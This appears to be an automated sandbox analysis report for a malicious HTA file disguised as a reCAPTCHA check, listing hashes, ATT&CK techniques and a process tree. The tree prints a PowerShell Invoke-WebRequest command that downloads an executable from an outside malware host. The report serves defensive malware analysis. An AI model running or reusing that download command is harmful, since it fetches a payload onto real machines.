19fb3108a5c7a3bc2694062805359f555450524a6fbf1eba7c30a544e1749f94

Analysis

max time kernel
15s
max time network
16s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20/01/2025, 17:07

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General

Target

recaptcha-verify.hta
Size

2KB
MD5

0b7e92d23c4b2765b641fa4236564270
SHA1

d1763d696b8e530c8f29026ba0f3278c77660f26
SHA256

19fb3108a5c7a3bc2694062805359f555450524a6fbf1eba7c30a544e1749f94
SHA512

5ac9164afbff95b0ecf3e782037983736a93017d10b7564239bae0b3002d5be18401102a05e1e031c75198e35b08463b1a729482ddffcd4144546092ef36fb13

Score

8^/10

google discovery execution phishing

Malware Config

Signatures

Blocklisted process makes network request 8 IoCs

flow	pid	Process
6	2316	mshta.exe
7	2316	mshta.exe
10	2316	mshta.exe
11	2316	mshta.exe
14	2316	mshta.exe
15	2316	mshta.exe
18	2316	mshta.exe
19	2316	mshta.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2728	powershell.exe

Detected potential entity reuse from brand GOOGLE.
phishing google
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2728	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2728	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2316 wrote to memory of 2240	2316	mshta.exe	32
PID 2316 wrote to memory of 2240	2316	mshta.exe	32
PID 2316 wrote to memory of 2240	2316	mshta.exe	32
PID 2316 wrote to memory of 2240	2316	mshta.exe	32
PID 2240 wrote to memory of 2728	2240	cmd.exe	34
PID 2240 wrote to memory of 2728	2240	cmd.exe	34
PID 2240 wrote to memory of 2728	2240	cmd.exe	34
PID 2240 wrote to memory of 2728	2240	cmd.exe	34

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\recaptcha-verify.hta"
1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2316
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -Uri 'https://cdn.ps5.zip/steam.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\downloaded_file.exe'"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2240
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -Command "Invoke-WebRequest -Uri 'https://cdn.ps5.zip/steam.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\downloaded_file.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2728

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\M4TQDAHL\favicon[1].ico

Filesize
5KB

MD5
f3418a443e7d841097c714d69ec4bcb8

SHA1
49263695f6b0cdd72f45cf1b775e660fdc36c606

SHA256
6da5620880159634213e197fafca1dde0272153be3e4590818533fab8d040770

SHA512
82d017c4b7ec8e0c46e8b75da0ca6a52fd8bce7fcf4e556cbdf16b49fc81be9953fe7e25a05f63ecd41c7272e8bb0a9fd9aedf0ac06cb6032330b096b3702563

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